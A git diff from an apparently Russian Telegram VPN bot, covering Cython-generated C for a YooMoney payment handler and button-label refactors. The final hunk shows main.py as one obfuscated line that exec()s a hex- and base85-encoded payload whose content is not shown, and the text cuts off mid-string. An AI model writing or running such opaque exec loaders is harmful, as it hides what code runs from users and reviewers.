*)__pyx_codeobj__11)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 143, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_request, __pyx_kp_s_web_Request) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yoomoney_webhook, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__7)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_yoomoney_webhook, __pyx_t_2) < 0) __PYX_ERR(0, 143, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yoomoney_webhook, __pyx_t_3) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_enter_custom_amount_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_enter_custom_amount_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 174, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 174, __pyx_L1_error) - __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__10)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_2) < 0) __PYX_ERR(0, 174, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_3) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 191, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 191, __pyx_L1_error) - __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 191, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 193, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 193, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__11)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_5) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_5) < 0) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1, __pyx_L1_error) @@ -13948,7 +13993,7 @@ static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject * #endif static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { #if PY_MAJOR_VERSION < 3 - PyObject *module, *from_list, *star = __pyx_n_s__20; + PyObject *module, *from_list, *star = __pyx_n_s__14; CYTHON_UNUSED_VAR(parts_tuple); from_list = PyList_New(1); if (unlikely(!from_list)) @@ -14011,7 +14056,7 @@ static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) if (unlikely(!module_name_str)) { goto modbad; } module_name = PyUnicode_FromString(module_name_str); if (unlikely(!module_name)) { goto modbad; } - module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__21); + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__15); if (unlikely(!module_dot)) { goto modbad; } full_name = PyUnicode_Concat(module_dot, name); if (unlikely(!full_name)) { goto modbad; } @@ -15862,7 +15907,7 @@ __Pyx_PyType_GetName(PyTypeObject* tp) if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { PyErr_Clear(); Py_XDECREF(name); - name = __Pyx_NewRef(__pyx_n_s__28); + name = __Pyx_NewRef(__pyx_n_s__22); } return name; } diff --git a/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so index ca91baa5..493ec454 100755 Binary files a/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/profile.py b/handlers/profile.py index 83ad5e2b..32ba5e7f 100644 --- a/handlers/profile.py +++ b/handlers/profile.py @@ -1,8 +1,10 @@ import html import os + from typing import Any import asyncpg + from aiogram import F, Router from aiogram.enums import ParseMode from aiogram.fsm.context import FSMContext @@ -17,38 +19,44 @@ from aiogram.types import ( from aiogram.utils.keyboard import InlineKeyboardBuilder from config import ( + ADMIN_ID, DATABASE_URL, + GIFT_BUTTON, INLINE_MODE, INSTRUCTIONS_BUTTON, NEWS_MESSAGE, + REFERRAL_BUTTON, REFERRAL_OFFERS, RENEWAL_PLANS, + SHOW_START_MENU_ONCE, + TOP_REFERRAL_BUTTON, TRIAL_TIME, USERNAME_BOT, - REFERRAL_BUTTON, - GIFT_BUTTON, - ADMIN_ID, - TOP_REFERRAL_BUTTON, - SHOW_START_MENU_ONCE ) from database import get_balance, get_key_count, get_last_payments, get_referral_stats, get_trial -from handlers.buttons.profile import ( +from handlers.buttons import ( + ABOUT_VPN, ADD_SUB, + BACK, BALANCE, BALANCE_HISTORY, + COUPON, GIFTS, INSTRUCTIONS, INVITE, MAIN_MENU, MY_SUBS, PAYMENT, + TOP_FIVE, ) -from handlers.texts import BALANCE_MANAGEMENT_TEXT, BALANCE_HISTORY_HEADER, INVITE_TEXT_NON_INLINE, TOP_REFERRALS_TEXT +from handlers.texts import BALANCE_HISTORY_HEADER, BALANCE_MANAGEMENT_TEXT, INVITE_TEXT_NON_INLINE, TOP_REFERRALS_TEXT from logger import logger + from .admin.panel.keyboard import AdminPanelCallback -from .texts import profile_message_send, invite_message_send, get_referral_link +from .texts import get_referral_link, invite_message_send, profile_message_send from .utils import edit_or_send_message + router = Router() @@ -108,9 +116,9 @@ async def process_callback_view_profile( InlineKeyboardButton(text="🔧 Администратор", callback_data=AdminPanelCallback(action="admin").pack()) ) if SHOW_START_MENU_ONCE: - builder.row(InlineKeyboardButton(text="💬 О сервисе", callback_data="about_vpn")) + builder.row(InlineKeyboardButton(text=ABOUT_VPN, callback_data="about_vpn")) else: - builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="start")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="start")) await edit_or_send_message( target_message=target_message, @@ -136,7 +144,7 @@ async def balance_handler(callback_query: CallbackQuery, session: Any): builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text=PAYMENT, callback_data="pay")) builder.row(InlineKeyboardButton(text=BALANCE_HISTORY, callback_data="balance_history")) - builder.row(InlineKeyboardButton(text="🎟️ Активировать купон", callback_data="activate_coupon")) + builder.row(InlineKeyboardButton(text=COUPON, callback_data="activate_coupon")) builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) text = BALANCE_MANAGEMENT_TEXT.format(balance=balance) @@ -187,7 +195,7 @@ async def balance_history_handler(callback_query: CallbackQuery, session: Any): @router.callback_query(F.data == "view_tariffs") async def view_tariffs_handler(callback_query: CallbackQuery): builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) image_path = os.path.join("img", "tariffs.jpg") tariffs_message = "🚀 Доступные тарифы VPN:\n\n" + "\n".join([ @@ -224,13 +232,13 @@ async def invite_handler(callback_query_or_message: Message | CallbackQuery): builder = InlineKeyboardBuilder() if INLINE_MODE: - builder.button(text="👥 Пригласить друга", switch_inline_query="invite") + builder.button(text=INVITE, switch_inline_query="invite") else: invite_text = INVITE_TEXT_NON_INLINE.format(referral_link=referral_link) - builder.button(text="👥 Пригласить друга", switch_inline_query=invite_text) + builder.button(text=INVITE, switch_inline_query=invite_text) if TOP_REFERRAL_BUTTON: - builder.button(text="🏆 Топ-5", callback_data="top_referrals") - builder.button(text="👤 Личный кабинет", callback_data="profile") + builder.button(text=TOP_FIVE, callback_data="top_referrals") + builder.button(text=MAIN_MENU, callback_data="profile") builder.adjust(1) await edit_or_send_message( @@ -286,16 +294,16 @@ async def top_referrals_handler(callback_query: CallbackQuery): rows = "" for i, row in enumerate(top_referrals, 1): - tg_id = str(row['referrer_tg_id']) - count = row['referral_count'] + tg_id = str(row["referrer_tg_id"]) + count = row["referral_count"] display_id = tg_id if is_admin else f"{tg_id[:5]}*****" rows += f"{i}. {display_id} - {count} чел.\n" text = TOP_REFERRALS_TEXT.format(rows=rows) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="invite")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="invite")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, diff --git a/handlers/start.py b/handlers/start.py index 7c2f8aa3..ba8cfe2d 100644 --- a/handlers/start.py +++ b/handlers/start.py @@ -20,8 +20,8 @@ from config import ( CHANNEL_REQUIRED, CHANNEL_URL, DONATIONS_ENABLE, + SHOW_START_MENU_ONCE, SUPPORT_CHAT_URL, - SHOW_START_MENU_ONCE ) from database import ( add_connection, @@ -31,8 +31,10 @@ from database import ( get_trial, update_balance, ) +from handlers.buttons import ABOUT_VPN, BACK, CHANNEL, MAIN_MENU, SUPPORT from handlers.captcha import generate_captcha from handlers.keys.key_management import create_key +from handlers.profile import process_callback_view_profile from handlers.texts import ( COUPON_SUCCESS_MSG, GIFT_ALREADY_USED_OR_NOT_EXISTS_MSG, @@ -46,9 +48,10 @@ from handlers.texts import ( get_about_vpn, ) from logger import logger + from .admin.panel.keyboard import AdminPanelCallback from .utils import edit_or_send_message -from handlers.profile import process_callback_view_profile + router = Router() @@ -128,7 +131,8 @@ async def process_start_logic( usage_exists = await session.fetchval( "SELECT 1 FROM coupon_usages WHERE coupon_id = $1 AND user_id = $2", - coupon["id"], message.chat.id, + coupon["id"], + message.chat.id, ) if usage_exists: await message.answer("❌ Вы уже использовали этот купон!") @@ -147,7 +151,8 @@ async def process_start_logic( ) await session.execute( "INSERT INTO coupon_usages (coupon_id, user_id, used_at) VALUES ($1, $2, NOW())", - coupon["id"], message.chat.id, + coupon["id"], + message.chat.id, ) await message.answer(COUPON_SUCCESS_MSG.format(amount=coupon["amount"])) return await process_callback_view_profile(message, state, admin) @@ -188,9 +193,7 @@ async def process_start_logic( if not existing_referral: await add_referral(message.chat.id, gift_info["sender_tg_id"], session) - await session.execute( - "UPDATE connections SET trial = 1 WHERE tg_id = $1", message.chat.id - ) + await session.execute("UPDATE connections SET trial = 1 WHERE tg_id = $1", message.chat.id) await create_key( message.chat.id, @@ -255,7 +258,6 @@ async def process_start_logic( return await show_start_menu(message, admin, session) - @router.callback_query(F.data == "check_subscription") async def check_subscription_callback(callback_query: CallbackQuery, state: FSMContext, session: Any, admin: bool): user_id = callback_query.from_user.id @@ -300,24 +302,24 @@ async def show_start_menu(message: Message, admin: bool, session: Any): builder.row(InlineKeyboardButton(text="🎁 Пробная подписка", callback_data="create_key")) else: logger.warning(f"Сессия базы данных отсутствует, пропускаем проверку триала для {message.chat.id}") - + if not SHOW_START_MENU_ONCE: - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) if CHANNEL_EXISTS: builder.row( - InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL), - InlineKeyboardButton(text="📢 Канал", url=CHANNEL_URL), + InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL), + InlineKeyboardButton(text=CHANNEL, url=CHANNEL_URL), ) else: - builder.row(InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL)) + builder.row(InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL)) if admin: builder.row( InlineKeyboardButton(text="🔧 Администратор", callback_data=AdminPanelCallback(action="admin").pack()) ) - builder.row(InlineKeyboardButton(text="🌐 О VPN", callback_data="about_vpn")) + builder.row(InlineKeyboardButton(text=ABOUT_VPN, callback_data="about_vpn")) await edit_or_send_message( target_message=message, @@ -331,19 +333,15 @@ async def show_start_menu(message: Message, admin: bool, session: Any): async def handle_about_vpn(callback_query: CallbackQuery): builder = InlineKeyboardBuilder() if DONATIONS_ENABLE: - builder.row( - InlineKeyboardButton(text="💰 Поддержать проект", callback_data="donate") - ) - support_btn = InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL) + builder.row(InlineKeyboardButton(text="💰 Поддержать проект", callback_data="donate")) + support_btn = InlineKeyboardButton(text=SUPPORT, url=SUPPORT_CHAT_URL) if CHANNEL_EXISTS: - channel_btn = InlineKeyboardButton(text="📢 Канал", url=CHANNEL_URL) + channel_btn = InlineKeyboardButton(text=CHANNEL, url=CHANNEL_URL) builder.row(support_btn, channel_btn) else: builder.row(support_btn) - builder.row( - InlineKeyboardButton(text="← Назад", callback_data="start") - ) + builder.row(InlineKeyboardButton(text=BACK, callback_data="start")) text = get_about_vpn("3.2.3-minor") await edit_or_send_message( diff --git a/handlers/utils.py b/handlers/utils.py index 871f8228..75171ac4 100644 --- a/handlers/utils.py +++ b/handlers/utils.py @@ -7,6 +7,7 @@ import string import aiofiles import aiohttp import asyncpg + from aiogram.types import BufferedInputFile, InlineKeyboardMarkup, InputMediaPhoto, Message from bot import bot diff --git a/logger.py b/logger.py index 7130c5e9..91c16f53 100644 --- a/logger.py +++ b/logger.py @@ -1,10 +1,12 @@ import logging import os import sys + from datetime import timedelta from loguru import logger + log_folder = "logs" if not os.path.exists(log_folder): diff --git a/main.py b/main.py index 2fafa5a4..3a994332 100644 --- a/main.py +++ b/main.py @@ -1 +1 @@ -_=exec;_('\x66\x72\x6f\x6d\x20\x62\x61\x73\x65\x36\x34\x20\x69\x6d\x70\x6f\x72\x74\x20\x62\x38\x35\x64\x65\x63\x6f\x64\x65\x20\x61\x73\x20\x5f\x3b\x5f\x5f\x5f\x3d\x62\x79\x74\x65\x73\x2e\x64\x65\x63\x6f\x64\x65\x3b\x5f\x5f\x3d\x65\x78\x65\x63\x3b\x5f\x5f\x28\x5f\x5f\x5f\x28\x5f\x28\x62\x27\x55\x70\x2d\x71\x66\x46\x29\x25\x44\x33\x46\x29\x3d\x77\x54\x41\x54\x63\x26\x4b\x45\x46\x64\x79\x38\x47\x41\x74\x6c\x35\x49\x34\x6d\x47\x43\x48\x37\x70\x3d\x42\x46\x29\x53\x63\x42\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x45\x47\x25\x4f\x25\x37\x47\x64\x56\x30\x45\x48\x21\x3e\x5f\x42\x47\x42\x50\x6e\x4e\x41\x54\x6c\x26\x47\x45\x46\x64\x76\x35\x47\x41\x74\x6c\x36\x47\x25\x2b\x6b\x37\x46\x2a\x37\x56\x36\x47\x64\x43\x3c\x43\x46\x2a\x5a\x30\x58\x41\x54\x6c\x79\x43\x45\x46\x64\x76\x37\x47\x25\x4f\x25\x37\x49\x57\x6a\x43\x44\x48\x23\x30\x30\x43\x46\x2a\x50\x28\x53\x41\x54\x3d\x5e\x39\x41\x54\x6c\x23\x48\x45\x46\x64\x3b\x41\x45\x46\x64\x7b\x37\x41\x54\x6c\x2a\x46\x45\x46\x64\x3e\x47\x45\x46\x64\x3e\x43\x45\x46\x64\x26\x44\x45\x46\x64\x76\x37\x48\x37\x70\x3d\x38\x48\x61\x52\x52\x48\x46\x2a\x50\x5f\x57\x41\x54\x63\x73\x48\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x48\x61\x49\x4c\x47\x47\x42\x68\x24\x51\x41\x54\x63\x79\x42\x54\x7b\x7e\x5a\x32\x4a\x23\x31\x78\x65\x43\x7c\x40\x5a\x25\x55\x74\x65\x45\x36\x57\x71\x34\x26\x7b\x4a\x36\x7e\x55\x34\x55\x74\x63\x7b\x5a\x43\x70\x21\x76\x65\x5a\x2a\x6d\x7d\x43\x55\x74\x65\x45\x65\x55\x74\x63\x55\x3d\x55\x74\x65\x45\x65\x55\x6d\x24\x36\x32\x41\x5a\x32\x63\x4b\x5a\x44\x6e\x23\x7b\x62\x59\x26\x3d\x38\x49\x34\x6d\x47\x46\x45\x46\x64\x79\x34\x46\x66\x31\x54\x33\x48\x39\x30\x49\x47\x48\x38\x33\x6e\x37\x46\x29\x7d\x74\x52\x41\x55\x48\x45\x44\x41\x55\x51\x57\x49\x41\x54\x63\x3e\x49\x45\x46\x64\x7b\x48\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x42\x48\x21\x4c\x37\x41\x48\x23\x30\x30\x43\x46\x2a\x50\x2b\x54\x41\x55\x47\x40\x5f\x46\x2a\x37\x71\x50\x41\x54\x25\x7b\x42\x41\x54\x7e\x38\x44\x41\x54\x6c\x73\x44\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x44\x48\x38\x6d\x5f\x43\x46\x2a\x68\x3f\x54\x41\x54\x3e\x38\x45\x41\x54\x6c\x23\x44\x45\x46\x64\x5e\x42\x45\x46\x64\x76\x38\x49\x56\x3e\x50\x49\x48\x21\x4c\x37\x44\x46\x29\x53\x63\x34\x48\x38\x28\x36\x45\x48\x5a\x6d\x2b\x41\x46\x29\x25\x65\x4f\x41\x54\x63\x70\x41\x45\x46\x64\x79\x34\x48\x59\x5e\x7d\x39\x47\x26\x55\x3f\x43\x46\x2a\x21\x33\x56\x41\x54\x63\x3b\x4f\x45\x46\x64\x76\x35\x49\x56\x3e\x50\x44\x46\x67\x50\x71\x41\x46\x2a\x50\x77\x50\x41\x54\x6c\x23\x4b\x45\x46\x64\x5e\x46\x45\x46\x64\x26\x36\x45\x46\x64\x76\x37\x47\x62\x7c\x75\x36\x48\x23\x30\x30\x43\x48\x23\x61\x4f\x47\x47\x26\x77\x39\x46\x48\x23\x49\x43\x45\x47\x26\x64\x7c\x44\x47\x42\x59\x2b\x54\x41\x54\x3e\x35\x44\x41\x54\x63\x3b\x4c\x45\x46\x64\x26\x43\x45\x46\x64\x76\x35\x49\x56\x3e\x50\x43\x47\x25\x7a\x65\x36\x48\x61\x30\x39\x45\x46\x2a\x47\x2b\x55\x41\x55\x48\x38\x42\x41\x55\x51\x4b\x45\x41\x54\x63\x23\x45\x45\x46\x64\x79\x37\x46\x66\x31\x54\x34\x46\x66\x3d\x53\x36\x46\x2a\x72\x30\x56\x41\x54\x63\x73\x41\x45\x46\x64\x76\x41\x46\x66\x31\x54\x33\x46\x66\x3d\x53\x36\x46\x2a\x47\x3c\x56\x41\x55\x51\x45\x43\x41\x54\x3e\x45\x47\x41\x54\x63\x3e\x4e\x45\x46\x64\x76\x41\x45\x46\x64\x26\x46\x45\x46\x64\x3e\x44\x45\x46\x64\x76\x39\x46\x29\x53\x63\x35\x46\x67\x37\x65\x38\x46\x2a\x21\x36\x57\x41\x54\x6c\x26\x4b\x45\x46\x64\x79\x35\x47\x41\x74\x6c\x35\x48\